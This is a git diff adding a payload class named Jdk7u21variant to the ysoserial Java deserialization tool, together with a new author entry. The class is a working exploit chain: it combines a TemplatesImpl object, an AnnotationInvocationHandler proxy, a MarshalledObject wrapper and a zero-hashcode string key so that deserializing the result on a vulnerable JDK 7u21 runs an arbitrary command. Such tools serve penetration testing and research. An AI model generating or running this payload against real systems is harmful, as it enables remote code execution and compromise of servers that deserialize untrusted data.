diff --git a/src/main/java/ysoserial/payloads/Jdk7u21variant.java b/src/main/java/ysoserial/payloads/Jdk7u21variant.java
new file mode 100644
index 00000000..12977e54
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Jdk7u21variant.java
@@ -0,0 +1,63 @@
+package ysoserial.payloads;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import javax.xml.transform.Templates;
+import java.lang.reflect.InvocationHandler;
+import java.rmi.MarshalledObject;
+import java.util.HashMap;
+import java.util.LinkedHashSet;
+
+/**
+ * @program: ysoserial
+ * @description: jdk 7u21 gadgets variant
+ * @author: potats0
+ * @create: 2021-04-19 16:55
+ **/
+@SuppressWarnings({ "rawtypes", "unchecked" })
+@PayloadTest( precondition = "isApplicableJavaVersion")
+@Dependencies()
+@Authors({ Authors.POTATS0 })
+public class Jdk7u21variant implements ObjectPayload<Object> {
+    @Override
+    public Object getObject(String command) throws Exception {
+
+        final Object templates = Gadgets.createTemplatesImpl(command);
+
+        String zeroHashCodeStr = "f5a5a608";
+
+        HashMap map = new HashMap();
+        map.put(zeroHashCodeStr, "foo");
+
+        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
+        Reflections.setFieldValue(tempHandler, "type", Templates.class);
+        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
+
+        LinkedHashSet set = new LinkedHashSet();
+        set.add(templates);
+        set.add(proxy);
+
+        Reflections.setFieldValue(templates, "_auxClasses", null);
+        Reflections.setFieldValue(templates, "_class", null);
+
+        map.put(zeroHashCodeStr, templates);
+
+        MarshalledObject marshalledObject = new MarshalledObject(set);
+        Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
+
+        set = new LinkedHashSet();
+        set.add(marshalledObject);
+        set.add(proxy);
+        map.put(zeroHashCodeStr, marshalledObject);
+        return set;
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadRunner.run(Jdk7u21variant.class, args);
+    }
+}
diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java
index 48c9408d..8606fcc4 100644
--- a/src/main/java/ysoserial/payloads/annotation/Authors.java
+++ b/src/main/java/ysoserial/payloads/annotation/Authors.java
@@ -25,6 +25,7 @@
     String EDOARDOVIGNATI = "EdoardoVignati";
     String JANG = "Jang";
     String ARTSPLOIT = "artsploit";
+    String POTATS0 = "potats0";
 
     String[] value() default {};